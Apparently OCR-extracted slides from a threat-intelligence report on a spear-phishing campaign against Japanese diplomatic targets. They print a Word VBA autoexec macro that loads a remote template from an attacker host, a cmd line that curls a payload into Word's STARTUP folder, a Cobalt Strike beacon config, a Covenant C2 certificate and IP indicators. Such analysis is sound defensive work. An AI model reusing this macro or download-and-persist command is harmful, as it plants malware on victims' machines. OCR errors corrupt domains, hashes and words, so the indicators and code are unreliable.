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Sub autoexec()

On Error Resume Next

If ThisDocument.XMLSaveThroughXSLT <> Day(Now) Then
ThisDocument.XMLSaveThroughXSLT = Day(Now)

Application.Documents.Open "http://resource.officehoster.com/w" + Environ

("username") + "w.dot", Visible:=6
ThisDocument.Save

End If

End Sub
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BeaconType HTTPS

Port 443

PublicKey_MD5 defb5d95ce99elebbf421a1a38d9cbe4
C2Server abc.mbusabc[. ]Jcom, /sdgs/article
UserAgent Not Found

HttpPostUri /gtm.js

Malleable_C2_Instructions Remove 1522 bytes from the end
Remove 88 bytes from the beginning
Remove 3931 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key

Watermark 1580103824
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C:\Windows\system32\cmd.exe /c explorer https://6ébfeeb71c.disknxt.com/
VmpJde1WWX1Sb1lITYWsw/BFHERZEN . pdf & mkdir %appdata%\Microsoft\Word\STARTUP &

curl -o Z%appdata%\Microsoft\Word\STARTUP\f.dot https://6bfeeb71lc.disknxt.com/
1JTYWsw/annak.docx
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// 7443 / TCP z -2106581855 | 2022-04-12T05:24:36. 256506

HTTP/1.1 200 OK

Date: Tue, 12 Apr 2022 05:24:35 GNT
Content-Type: text/html; charset-utf-8
Server: Kestre

Transfer-Encoding: chunked

SSL Certificate

Certificate
Data:

Version: 3 (0x2)
Serial Number: 5294099935578943392 (0x49786bd79199%¢fa0)
Signature Algorithm: sha256WithRSAEncryption
Issuer: CN=Covenant
Validity

Not Before: Apr 11 03:00:55 2022 GMT

Not After : Apr 9 03:00:55 2032 GMT
Subject: CN=Covenant
Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public-Key: (2048 bit)
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SASAKAWA USA About Us Research Education Publications Events News Outreach @

Sasakawa Peace Foundation USA

| Event Details

== Taiwan Crisis and Japan's Strategy DETAILS

ofing Series
Event Tags:
Jesdf, Taiwan, us-japan cooperation

5% E3YouTube

To download as a PDF, please click here,

On Tuesday, November 2, 2021, Sasakawa Peace Foundation USA (Sasakawa USA) hosted a virtual event, "Taiwan Crisis and Japan’s Strateay.”
featuring remarks by Lieutenant General Koichiro Bansho, Japan Ground Self-Defense Force (JGSDF) [Ret.), whe served as the Commander of
the Western Army of Japan from 2013 to 2015, He was joined by commentator Lisutenant General Wallace “Chip” Gregson, United States
Marine Corps (USMC] (Ret.), wha was the Assistant Secretary of Defense for Asian and Pacific Security Affairs from 2009 te 2011, LTG Bansho
discussed Japan's recent efforts to strengthen defense near Taiwan and the surrounding areas, how Japan wauld act in a potential Taiwan crisis,

ways to improve Japan-U.S-Taiwan trilateral relations, and how Japan and the United States can collaborate to ensure security in the region
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Adversary

- Believed to be based in East Asia?

‘ Social-Politics Axis

- Japanese diplomacy in East Asia

Capabilities Infrastructure

- Downloader
- LNK file
- Multiple document
- Golang binary

- Cobalt Strike

- VPS/Hosting service
(LINODE/CHOOPA/Vultr)

- OpenResty

- Mimicking domain name

‘ Technical Axis

Spear-phishing
- DLL Side-lLoading
- Micreosoft Word startup - Japanese company
- Japanese decoy file - Diplomatic field
- Use of IPs belonging to Japan (Especially Japan and South Korea)

Victims
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e 172[]105.229.216
e 207[.]148.91.243

e 45[.]77.179.110
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